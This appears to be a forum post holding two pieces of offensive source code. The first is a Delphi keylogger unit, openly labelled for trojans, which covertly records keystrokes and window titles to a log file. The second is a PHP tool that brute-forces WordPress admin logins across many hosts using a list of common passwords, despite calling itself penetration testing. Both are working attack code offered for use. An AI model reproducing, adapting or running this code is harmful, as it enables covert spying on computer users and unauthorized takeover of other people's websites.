(* Keylogger Unit For Trojans
  Orginal Code By Veyskarami
 Iranian programmers for ever... *)
{$Warnings Off}
unit VsKeyLogger;
interface

uses Windows;
Function GetLoggedWindows():string;
Function GetLoggedKeys():string;
Function GetLoggedSize(Loggeds:String):integer;
Function SaveLogs(FileName,Strings: string):Boolean;
var
Loggeds:String;
Time:integer;
implementation
const
C1: array [1..26]  of Byte =($41,$42,$43,$44,$45,$46,$47,$48,$49,$4A,$4B,$4C,$4D,$4E,$4F,$50,$51,$52,$53,$54,$55,$56,$57,$58,$59,$5A);
//DX: array [27..52] of Byte =($61,$62,$63,$64,$65,$66,$67,$68,$69,$6A,$6B,$6C,$6D,$6E,$6F,$70,$71,$72,$73,$74,$75,$76,$77,$78,$79,$7A);
C2: array [53..62] of Byte =($30,$31,$32,$33,$34,$35,$36,$37,$38,$39);
C3: array [63..65] of Byte =($01,$02,$04);
CX: array [66..80] of Byte =($20,$21,$22,$23,$24,$25,$26,$27,$28,$2D,$2E,$08,$0D,$5B,$5C);
D1: array [81..104]of Byte =($7E,$2D,$3D,$5C,$5B,$5D,$3B,$27,$2C,$2E,$2F,$60,$3B,$7E,$5F,$2B,$7C,$7B,$7D,$3A,$22,$3C,$3E,$3F);
//D2: array [105..114] of Byte =($60,$61,$62,$63,$64,$65,$66,$67,$68,$69);
var
WNDCaption,OldCaption : array [0..255] of char;
(***********************************************)
function LowerCase(const S: string): string;
var I : Integer;
begin
  Result := S;
  for I := 1 to Length( S ) do
    if Result[ I ] in [ 'A'..'Z' ] then
  Inc( Result[ I ], 32 );
end;
function UpperCase(const S: string): string;
var I : Integer;
begin
  Result := S;
  for I := 1 to Length( S ) do
    if Result[ I ] in [ 'a'..'z' ] then
       Dec( Result[ I ], 32 );
end;
(***********************************************)
Function GetLoggedWindows():string;
begin
GetWindowText(GetForegroundWindow,WNDCaption,255);
if OldCaption <> WNDCaption then   if WNDCaption<>'' then
Result:='==========['+WNDCaption+']=========='+#13#10 else Result:='';
OldCaption :=WNDCaption;
end;

Function Caps():integer;
begin
if Odd(GetKeyState(VK_CAPITAL)) then
Result:=1 else
Result:=0;
end;

Function Shift():integer;
begin
if GetKeyState(VK_SHIFT) < 0 then
Shift := 1
else
Shift := 0;
end;

function Chrs():string;
var
U:integer;
begin
for U:=1 to 26 do if GetAsyncKeyState(C1[u])= -32767 then Result:=Chr(C1[u]);
end;

Function GetLoggedKeys():string;
var
A:integer;
begin
if Caps = 1 then
begin
if Shift = 1 then
begin
GetLoggedKeys := LowerCase(Chrs);
end
else
begin
GetLoggedKeys := UpperCase(Chrs);
end;
end
else
begin
if Shift = 1 then
begin
GetLoggedKeys := UpperCase(Chrs);
end
else
begin
GetLoggedKeys := LowerCase(Chrs);
end;
end;
for A:= 53 to 62 do if Shift=0 then
if GetAsyncKeyState(C2[A])= -32767  then Result:=Chr(C2[A]);
if Shift=0 then begin
if GetAsyncKeyState(VK_SUBTRACT)= -32767 then Result:=Chr(D1[95]);
if GetAsyncKeyState(189)= -32767 then Result:=Chr(D1[82]);
if GetAsyncKeyState(187)= -32767 then Result:=Chr(D1[83]);
if GetAsyncKeyState(188)= -32767 then Result:=Chr(D1[89]);
if GetAsyncKeyState(190)= -32767 then Result:=Chr(D1[90]);
if GetAsyncKeyState(191)= -32767 then Result:=Chr(D1[91]);
if GetAsyncKeyState(220)= -32767 then Result:=Chr(D1[84]);
if GetAsyncKeyState(221)= -32767 then Result:=Chr(D1[86]);
if GetAsyncKeyState(219)= -32767 then Result:=Chr(D1[85]);
if GetAsyncKeyState(222)= -32767 then Result:=Chr(D1[88]);
if GetAsyncKeyState(192)= -32767 then Result:=Chr(D1[92]);
if GetAsyncKeyState(186)= -32767 then Result:=Chr(D1[93]);
end;
if Shift=1 then begin
if GetAsyncKeyState(189)= -32767 then Result:=Chr(D1[95]);
if GetAsyncKeyState(187)= -32767 then Result:=Chr(D1[96]);
if GetAsyncKeyState(192)= -32767 then Result:=Chr(D1[94]);
if GetAsyncKeyState(188)= -32767 then Result:=Chr(D1[102]);
if GetAsyncKeyState(190)= -32767 then Result:=Chr(D1[103]);
if GetAsyncKeyState(191)= -32767 then Result:=Chr(D1[104]);
if GetAsyncKeyState(220)= -32767 then Result:=Chr(D1[97]);
if GetAsyncKeyState(221)= -32767 then Result:=Chr(D1[99]);
if GetAsyncKeyState(219)= -32767 then Result:=Chr(D1[98]);
if GetAsyncKeyState(222)= -32767 then Result:=Chr(D1[101]);
if GetAsyncKeyState(186)= -32767 then Result:=Chr(D1[100]);
end;
if Shift=1 then begin
if GetAsyncKeyState(C2[53])= -32767 then Result:=')';
if GetAsyncKeyState(C2[54])= -32767 then Result:='!';
if GetAsyncKeyState(C2[55])= -32767 then Result:='@';
if GetAsyncKeyState(C2[56])= -32767 then Result:='#';
if GetAsyncKeyState(C2[57])= -32767 then Result:='$';
if GetAsyncKeyState(C2[58])= -32767 then Result:='%';
if GetAsyncKeyState(C2[59])= -32767 then Result:='^';
if GetAsyncKeyState(C2[60])= -32767 then Result:='&';
if GetAsyncKeyState(C2[61])= -32767 then Result:='*';
if GetAsyncKeyState(C2[62])= -32767 then Result:='(';
end;
if GetAsyncKeyState(C3[63])= -32767 then Result:='[Left Mouse]';
if GetAsyncKeyState(C3[64])= -32767 then Result:='[Rigth Mouse]';
if GetAsyncKeyState(C3[65])= -32767 then Result:='[Middle Mouse]';
if GetAsyncKeyState(CX[66])= -32767 then Result:='[Space]';
if GetAsyncKeyState(CX[67])= -32767 then Result:='[Page Up]';
if GetAsyncKeyState(CX[68])= -32767 then Result:='[Page Down]';
if GetAsyncKeyState(CX[69])= -32767 then Result:='[End]';
if GetAsyncKeyState(CX[70])= -32767 then Result:='[Home]';
if GetAsyncKeyState(CX[71])= -32767 then Result:='[Left]';
if GetAsyncKeyState(CX[72])= -32767 then Result:='[Up]';
if GetAsyncKeyState(CX[73])= -32767 then Result:='[Rigth]';
if GetAsyncKeyState(CX[74])= -32767 then Result:='[Down]';
if GetAsyncKeyState(CX[75])= -32767 then Result:='[Insert]';
if GetAsyncKeyState(CX[76])= -32767 then Result:='[Delete]';
if GetAsyncKeyState(CX[77])= -32767 then Result:='[BackSpace]';
if GetAsyncKeyState(CX[78])= -32767 then Result:='[Enter]';
if GetAsyncKeyState(CX[79])= -32767 then Result:='[LeftWin]';
if GetAsyncKeyState(CX[80])= -32767 then Result:='[RigthWin]';
if GetAsyncKeyState(96)= -32767 then Result:='0';
if GetAsyncKeyState(97)= -32767 then Result:='1';
if GetAsyncKeyState(98)= -32767 then Result:='2';
if GetAsyncKeyState(99)= -32767 then Result:='3';
if GetAsyncKeyState(100)= -32767 then Result:='4';
if GetAsyncKeyState(101)= -32767 then Result:='5';
if GetAsyncKeyState(102)= -32767 then Result:='6';
if GetAsyncKeyState(103)= -32767 then Result:='7';
if GetAsyncKeyState(104)= -32767 then Result:='8';
if GetAsyncKeyState(105)= -32767 then Result:='9';
if GetAsyncKeyState(250)= -32767 then Result:='PLAY';
end;

Function SaveLogs(FileName,Strings: string):Boolean;
var
   BatchFile: TextFile;
   BatchFileName: string;
begin
   BatchFileName:=FileName;
   SetFileAttributes(Pchar(FileName),FILE_ATTRIBUTE_NORMAL);
   AssignFile(BatchFile,BatchFileName);
   Rewrite(BatchFile);
   Writeln(BatchFile,Strings);
   CloseFile(BatchFile);
   Loggeds:='';
   Time:=0;
end;

Function GetLoggedSize(Loggeds:String):integer;
begin
    Result:=Length(Loggeds);
end;

end.

(* Keylogger Unit For Trojans
  Orginal Code By Veyskarami
 Iranian programmers for ever... *)
{$Warnings Off}
program Sample;

uses
  Windows,KeyLogger;

var
Msg:TMsg;
Handle:hwnd;

Procedure Main;
begin
Loggeds:=Loggeds+GetLoggedWindows+GetLoggedKeys;
(* Save By Size *)
if GetLoggedSize(Loggeds) > 500 then SaveLogs ('Log.txt',Loggeds);
(* Save By Time
Time:=Time+1;
if Time:=10000 then SaveLogs ('Log.txt',Loggeds);
*)
end;

begin
Handle:=CreateWindow( '', '',WS_DISABLED, 0,0,0,0, 0,0,0,nil);
SetTimer(Handle,0,1,@Main);
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.

<?php
echo "
<!--
Powered By Coderz
www.c0derz.com
Wordpress Admin Panel Penetration Testing
V 1
PS: this tool is for penetration testing and educational purpose, c0derz.com is not responsible at any bad using for this tool.

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
-->
";

error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);
?>
<html>
<head>
<title>C0derz.com | WordPress Admin Panel Penetration Testing</title>
<meta http-equiv=Content-Type content=text/html; charset=utf-8 charset=UTF-8>

<style type="text/css">
body {
    color: white;
    background-image: url(http://c0derz.com/wp-content/themes/Polished/images/background.png);
}
textarea {
    border-radius: 8px;
    color: white;
    background-color:black;
}
input[type=submit] , .submit{
        background-color:black;
        color:white;
        border-radius:8px;
}
p {
    font-size: 10px;
    text-align: center;
}
a:link,a:hover,a:visited {
    color:white;
}
</style>
</head>
<!-- C0derz.com | WordPress Admin Panel Penetration Testing -->
<center>
<p><a href="http://www.c0derz.com" target="_blank"><img src="http://c0derz.com/wp-content/themes/Polished/images/logo.png" border="0"/></a></p>
<form enctype="multipart/form-data" method="POST">
  <table width='624' border='0' id='Box'>
    <tr>
<td width='4%'>&nbsp;</td>
<td width="96%" colspan="3" align="center" ><p>C0derz.com | WordPress Admin Panel Penetration Testing </p></td>
</tr>
    <tr>
      <td >&nbsp;</td>
      <td ><p>Hosts:</p></td>
      <td ><p> Users:</p></td>
      <td ><p>Passwords:</p></td>
    </tr>
    <tr>
      <td>&nbsp;</td>
      <td ><textarea name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST['hosts'];} ?></textarea></td>
      <td ><textarea name="usernames" cols="30" rows="10"  ><?php if($_POST){echo $_POST['usernames'];}else {echo "admin";} ?></textarea></td>
      <td ><textarea name="passwords" cols="30" rows="10"  ><?php if($_POST){echo $_POST['passwords'];}else {echo "admin\nadministrator\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#$%^\n!@#$%^&*(\n(*&^%$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";} ?></textarea></td>
    </tr>
<tr><td colspan="4"><input type="submit" name="submit" value="Brute Now" class="submit"  />
<?php
if($_POST)
{
    $hosts = trim(filter($_POST['hosts']));
    $passwords = trim(filter($_POST['passwords']));
    $usernames = trim(filter($_POST['usernames']));

    if($passwords && $usernames && $hosts)
    {
        $hosts_explode = explode("\n", $hosts);
        $usernames_explode = explode("\n", $usernames);
        $passwords_explode = explode("\n", $passwords);

        foreach($hosts_explode as $host)
        {
            $host = RemoveLastSlash($host);
            $hacked = 0;
            $host = str_replace(array("http://","https://","www."),"",trim($host));
            $host = "http://".$host;
            $wpAdmin = $host.'/wp-admin/';

            if(!url_exists($host."/wp-login.php"))
            {echo "<p>".$host." => <font color='red'>Error In Login Page !</font></p>";ob_flush();flush();continue;}

            foreach($usernames_explode as $username)
            {
                foreach($passwords_explode as $password)
                {
                    $ch   =     curl_init();
                    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
                    curl_setopt($ch,CURLOPT_URL,$host.'/wp-login.php');
                    curl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");
                    curl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");
                    curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
                    curl_setopt($ch,CURLOPT_POST,TRUE);
                    curl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri&#38;#8207;"."&redirect_to=".$wpAdmin."&testcookie=1");
                    $login    =       curl_exec($ch);

                    if(eregi ("profile.php",$login) )
                    {
                        $hacked = 1;
                        echo "<p>".$host." => UserName : [<font color='green'>".$username."</font>] : Password : [<font color='green'>".$password."</font>]</p>";
                        ob_flush();flush();break;
                    }
                }
                if($hacked == 1){break;}
            }
            if($hacked == 0)
            {echo "<p>".$host." => <font color='red'>Failed !</font></p>";ob_flush();flush();}
        }
    }
    else {echo "<p><font color='red'>All fields are Required ! </font></p>";}
}
?>
</td></tr>
</table></form>

<!-- C0derz.com | WordPress Admin Panel Penetration Testing -->
<p>powered by <a href="http://c0derz.com">c0derz.com</a></p>
</center>
<p>
  <?php
function url_exists($strURL)
{
    $resURL = curl_init();
    curl_setopt($resURL, CURLOPT_URL, $strURL);
    curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
    curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
    curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
    curl_exec ($resURL);
    $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
    curl_close ($resURL);
    if ($intReturnCode != 200){return false;}
    else{return true ;}
}
function filter($string)
{
    if(get_magic_quotes_gpc() != 0){return stripslashes($string);    }
    else{return $string;    }
}
function RemoveLastSlash($host)
{
    if(strrpos($host, '/', -1) == strlen($host)-1)
    {return substr($host,0,strrpos($host, '/', -1));}
    else{return $host;}
}
?>
<?php  echo "</p>"; ?>

    Journalisée